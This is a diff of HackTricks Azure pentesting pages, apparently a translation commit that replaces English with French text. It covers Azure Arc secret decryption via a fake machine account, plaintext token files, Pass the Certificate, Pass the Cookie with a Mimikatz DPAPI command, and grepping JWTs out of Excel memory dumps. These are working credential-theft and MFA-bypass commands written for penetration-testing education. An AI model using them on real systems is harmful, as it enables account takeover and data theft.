# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
@@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
```
### Exploit
We have the follow conditions:
Nous avons les conditions suivantes :
1. We have successfully penetrated the internal network.
2. We have the capability to create or assume control of a computer account within Active Directory.
3. We have discovered a network share containing the AzureArcDeploy directory.
There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
1. Nous avons réussi à pénétrer le réseau interne.
2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur au sein d'Active Directory.
3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.
Il existe plusieurs méthodes pour obtenir un compte machine dans un environnement AD. L'une des plus courantes consiste à exploiter le quota de compte machine. Une autre méthode implique de compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.
```powershell
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
Une fois qu'un compte machine est obtenu, il est possible de s'authentifier en utilisant ce compte. Nous pouvons soit utiliser la commande runas.exe avec le drapeau netonly, soit utiliser pass-the-ticket avec Rubeus.exe.
```powershell
runas /user:fake01$ /netonly powershell
```
@@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell
```powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
En ayant le TGT pour notre compte d'ordinateur stocké en mémoire, nous pouvons utiliser le script suivant pour déchiffrer le secret du principal de service.
```powershell
Import-Module .\AzureArcDeployment.psm1
@@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs
```
Alternativement, nous pouvons utiliser [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
À ce stade, nous pouvons rassembler les informations restantes nécessaires pour se connecter à Azure à partir du fichier ArcInfo.json, qui est stocké sur le même partage réseau que le fichier encryptedServicePrincipalSecret. Ce fichier contient des détails tels que : TenantId, servicePrincipalClientId, ResourceGroup, et plus encore. Avec ces informations, nous pouvons utiliser Azure CLI pour nous authentifier en tant que service principal compromis.
At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.
## References
## Références
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
{{#include ../../../banners/hacktricks-training.md}}

42
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
View File

@@ -2,42 +2,38 @@
{{#include ../../../banners/hacktricks-training.md}}
## Local Token Storage and Security Considerations
## Stockage local des jetons et considérations de sécurité
### Azure CLI (Command-Line Interface)
### Azure CLI (Interface de ligne de commande)
Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
Les jetons et les données sensibles sont stockés localement par Azure CLI, soulevant des préoccupations de sécurité :
1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
- Executed commands with credentials embedded.
- URLs accessed using tokens, potentially revealing sensitive information.
1. **Jetons d'accès** : Stockés en texte clair dans `accessTokens.json` situé à `C:\Users\<username>\.Azure`.
2. **Informations sur l'abonnement** : `azureProfile.json`, dans le même répertoire, contient les détails de l'abonnement.
3. **Fichiers journaux** : Le dossier `ErrorRecords` dans `.azure` peut contenir des journaux avec des identifiants exposés, tels que :
- Commandes exécutées avec des identifiants intégrés.
- URL accessibles à l'aide de jetons, révélant potentiellement des informations sensibles.
### Azure PowerShell
Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
Azure PowerShell stocke également des jetons et des données sensibles, qui peuvent être accessibles localement :
1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
1. **Jetons d'accès** : `TokenCache.dat`, situé à `C:\Users\<username>\.Azure`, stocke les jetons d'accès en texte clair.
2. **Secrets de principal de service** : Ceux-ci sont stockés non chiffrés dans `AzureRmContext.json`.
3. **Fonction de sauvegarde de jetons** : Les utilisateurs ont la possibilité de persister les jetons en utilisant la commande `Save-AzContext`, qui doit être utilisée avec prudence pour éviter tout accès non autorisé.
## Automatic Tools to find them
## Outils automatiques pour les trouver
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
## Security Recommendations
## Recommandations de sécurité
Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
Étant donné le stockage de données sensibles en texte clair, il est crucial de sécuriser ces fichiers et répertoires en :
- Limiting access rights to these files.
- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
- Employing encryption for sensitive files where possible.
- Educating users about the risks and best practices for handling such sensitive information.
- Limitant les droits d'accès à ces fichiers.
- Surveillant et auditant régulièrement ces répertoires pour détecter tout accès non autorisé ou changements inattendus.
- Employant le chiffrement pour les fichiers sensibles lorsque cela est possible.
- Éduquant les utilisateurs sur les risques et les meilleures pratiques pour manipuler de telles informations sensibles.
{{#include ../../../banners/hacktricks-training.md}}

36
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
View File

@@ -4,40 +4,32 @@
## Pass the Certificate (Azure)
In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
Dans les machines jointes à Azure, il est possible de s'authentifier d'une machine à une autre en utilisant des certificats qui **doivent être émis par Azure AD CA** pour l'utilisateur requis (en tant que sujet) lorsque les deux machines prennent en charge le mécanisme d'authentification **NegoEx**.
In super simplified terms:
En termes super simplifiés :
- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
- La machine (client) initiant la connexion **a besoin d'un certificat d'Azure AD pour un utilisateur**.
- Le client crée un en-tête JSON Web Token (JWT) contenant PRT et d'autres détails, le signe en utilisant la clé dérivée (en utilisant la clé de session et le contexte de sécurité) et **l'envoie à Azure AD**.
- Azure AD vérifie la signature JWT en utilisant la clé de session du client et le contexte de sécurité, vérifie la validité du PRT et **répond** avec le **certificat**.
In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
Dans ce scénario et après avoir récupéré toutes les informations nécessaires pour une attaque [**Pass the PRT**](pass-the-prt.md) :
- Username
- Tenant ID
- Nom d'utilisateur
- ID de locataire
- PRT
- Security context
- Derived Key
It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
- Contexte de sécurité
- Clé dérivée
Il est possible de **demander un certificat P2P** pour l'utilisateur avec l'outil [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
Les certificats dureront aussi longtemps que le PRT. Pour utiliser le certificat, vous pouvez utiliser l'outil python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) qui va **authentifier** la machine distante, exécuter **PSEXEC** et **ouvrir un CMD** sur la machine victime. Cela nous permettra d'utiliser à nouveau Mimikatz pour obtenir le PRT d'un autre utilisateur.
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
```
## Références
## References
- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
- Pour plus de détails sur le fonctionnement de Pass the Certificate, consultez le post original [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
{{#include ../../../banners/hacktricks-training.md}}

24
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
View File

@@ -2,40 +2,34 @@
{{#include ../../../banners/hacktricks-training.md}}
## Why Cookies?
## Pourquoi les cookies ?
Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
Les **cookies** de navigateur sont un excellent mécanisme pour **contourner l'authentification et la MFA**. Comme l'utilisateur s'est déjà authentifié dans l'application, le **cookie** de session peut simplement être utilisé pour **accéder aux données** en tant qu'utilisateur, sans avoir besoin de se ré-authentifier.
You can see where are **browser cookies located** in:
Vous pouvez voir où se trouvent les **cookies de navigateur** ici :
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
{{#endref}}
## Attack
## Attaque
The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
La partie difficile est que ces **cookies sont chiffrés** pour l'**utilisateur** via l'API de protection des données Microsoft (**DPAPI**). Cela est chiffré en utilisant des [clés cryptographiques liées à l'utilisateur](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) auquel appartiennent les cookies. Vous pouvez trouver plus d'informations à ce sujet ici :
{{#ref}}
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
{{#endref}}
With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
Avec Mimikatz en main, je peux **extraire les cookies d'un utilisateur** même s'ils sont chiffrés avec cette commande :
```bash
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
```
Pour Azure, nous nous soucions des cookies d'authentification, y compris **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** et **`ESTSAUTHLIGHT`**. Ceux-ci sont présents parce que l'utilisateur a été actif sur Azure récemment.
For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
Il suffit de naviguer vers login.microsoftonline.com et d'ajouter le cookie **`ESTSAUTHPERSISTENT`** (généré par l'option “Rester connecté”) ou **`ESTSAUTH`**. Et vous serez authentifié.
Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
## References
## Références
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
{{#include ../../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
View File

@@ -2,10 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
**Vérifiez :** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
{{#include ../../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
View File

@@ -2,10 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
**Vérifiez le post sur** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) bien qu'un autre post expliquant la même chose puisse être trouvé sur [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
{{#include ../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
View File

@@ -2,16 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **Informations de base**
As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=OHKZkXC4Duw), certains logiciels Microsoft synchronisés avec le cloud (Excel, Teams...) pourraient **stocker des jetons d'accès en texte clair dans la mémoire**. Donc, simplement **dumping** la **mémoire** du processus et **grepping pour des jetons JWT** pourrait vous donner accès à plusieurs ressources de la victime dans le cloud en contournant MFA.
Steps:
1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
3. Find the tokens that interest you the most and run tools over them:
Étapes :
1. Dump les processus Excel synchronisés avec l'utilisateur EntraID avec votre outil préféré.
2. Exécutez : `string excel.dmp | grep 'eyJ0'` et trouvez plusieurs jetons dans la sortie
3. Trouvez les jetons qui vous intéressent le plus et exécutez des outils dessus :
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
@@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**Note that these kind of access tokens can be also found inside other processes.**
**Notez que ce type de jetons d'accès peut également être trouvé à l'intérieur d'autres processus.**
{{#include ../../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
View File

@@ -2,10 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
Pour commencer les tests, vous devez avoir accès avec un utilisateur ayant des **permissions de lecteur sur la souscription** et un **rôle de lecteur global dans AzureAD**. Si même dans ce cas vous **n'êtes pas en mesure d'accéder au contenu des comptes de stockage**, vous pouvez le corriger avec le **rôle de contributeur de compte de stockage**.
{{#include ../../banners/hacktricks-training.md}}